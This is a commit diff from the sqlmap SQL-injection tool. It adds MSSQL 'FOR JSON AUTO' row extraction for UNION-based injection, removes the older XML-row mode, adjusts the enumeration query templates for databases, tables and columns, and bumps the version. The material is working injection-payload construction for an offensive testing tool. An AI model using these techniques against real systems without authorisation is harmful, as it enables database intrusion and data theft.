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https://github.com/sqlmapproject/sqlmap.git
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Implemented FOR JSON AUTO in MsSQL
This commit is contained in:
Miroslav Stampar
parent
7e483ffd7a
commit
0ff3b1ce70
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@ -198,11 +198,11 @@
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<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
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</dbs>
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<tables>
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<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
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<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
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<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
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</tables>
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<columns>
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<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
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<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
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<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
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</columns>
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<dump_table>
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@ -2113,7 +2113,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
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kb.responseTimeMode = None
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kb.responseTimePayload = None
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kb.resumeValues = True
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kb.rowXmlMode = False
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kb.safeCharEncode = False
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kb.safeReq = AttribDict()
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kb.secondReq = None
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@ -18,7 +18,7 @@ from lib.core.enums import OS
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from thirdparty.six import unichr as _unichr
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# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
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VERSION = "1.4.10.25"
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VERSION = "1.4.10.26"
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TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
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TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
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VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
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@ -75,7 +75,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
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if retVal is None:
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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if not any((kb.rowXmlMode, kb.jsonAggMode)):
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if not kb.jsonAggMode:
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injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
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kb.unionDuplicates = vector[7]
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kb.forcePartialUnion = vector[8]
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@ -100,49 +100,26 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
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incrementCounter(PAYLOAD.TECHNIQUE.UNION)
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if kb.rowXmlMode:
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output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page or "")
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if output:
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try:
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root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
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retVal = ""
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for column in kb.dumpColumns:
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base64 = True
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for child in root:
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value = child.attrib.get(column, "").strip()
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if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
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base64 = False
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break
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try:
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decodeBase64(value)
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except (binascii.Error, TypeError):
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base64 = False
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break
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if base64:
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for child in root:
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child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
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for child in root:
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row = []
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for column in kb.dumpColumns:
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row.append(child.attrib.get(column, NULL))
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retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
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except:
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pass
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else:
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retVal = getUnicode(retVal)
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elif kb.jsonAggMode:
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if Backend.isDbms(DBMS.PGSQL):
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if kb.jsonAggMode:
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if Backend.isDbms(DBMS.MSSQL):
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output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
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if output:
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try:
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retVal = ""
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fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
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for row in json.loads(output):
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retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
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except:
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pass
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else:
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retVal = getUnicode(retVal)
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elif Backend.isDbms(DBMS.PGSQL):
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output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
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if output:
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retVal = output
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else:
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output = extractRegexResult(r"(?P<result>%s.*?%s)" % (kb.chars.start, kb.chars.stop), page or "")
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output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
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if output:
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output = output[len(kb.chars.start):-len(kb.chars.stop)]
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try:
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retVal = ""
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for row in json.loads(output):
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@ -177,7 +154,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
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hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
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elif not any((kb.rowXmlMode, kb.jsonAggMode)):
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elif not kb.jsonAggMode:
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trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
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if trimmed:
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@ -261,7 +238,7 @@ def unionUse(expression, unpack=True, dump=False):
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debugMsg += "it does not play well with UNION query SQL injection"
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singleTimeDebugMessage(debugMsg)
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL) and expressionFields:
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields:
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match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
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if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
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kb.jsonAggMode = True
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@ -271,15 +248,11 @@ def unionUse(expression, unpack=True, dump=False):
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query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
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query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.MSSQL):
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query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
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output = _oneShotUnionUse(query, False)
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value = parseUnionPage(output)
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kb.jsonAggMode = False
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elif Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
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kb.rowXmlMode = True
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_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
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output = _oneShotUnionUse(_, False)
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value = parseUnionPage(output)
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kb.rowXmlMode = False
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# We have to check if the SQL query might return multiple entries
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# if the technique is partial UNION query and in such case forge the
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@ -639,18 +639,6 @@ class Databases(object):
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logger.info(infoMsg)
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values = None
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if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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expression = query
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kb.dumpColumns = []
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kb.rowXmlMode = True
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for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','):
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kb.dumpColumns.append(randomStr().lower())
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expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
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values = unionUse(expression)
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kb.rowXmlMode = False
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kb.dumpColumns = None
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if values is None:
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values = inject.getValue(query, blind=False, time=False)
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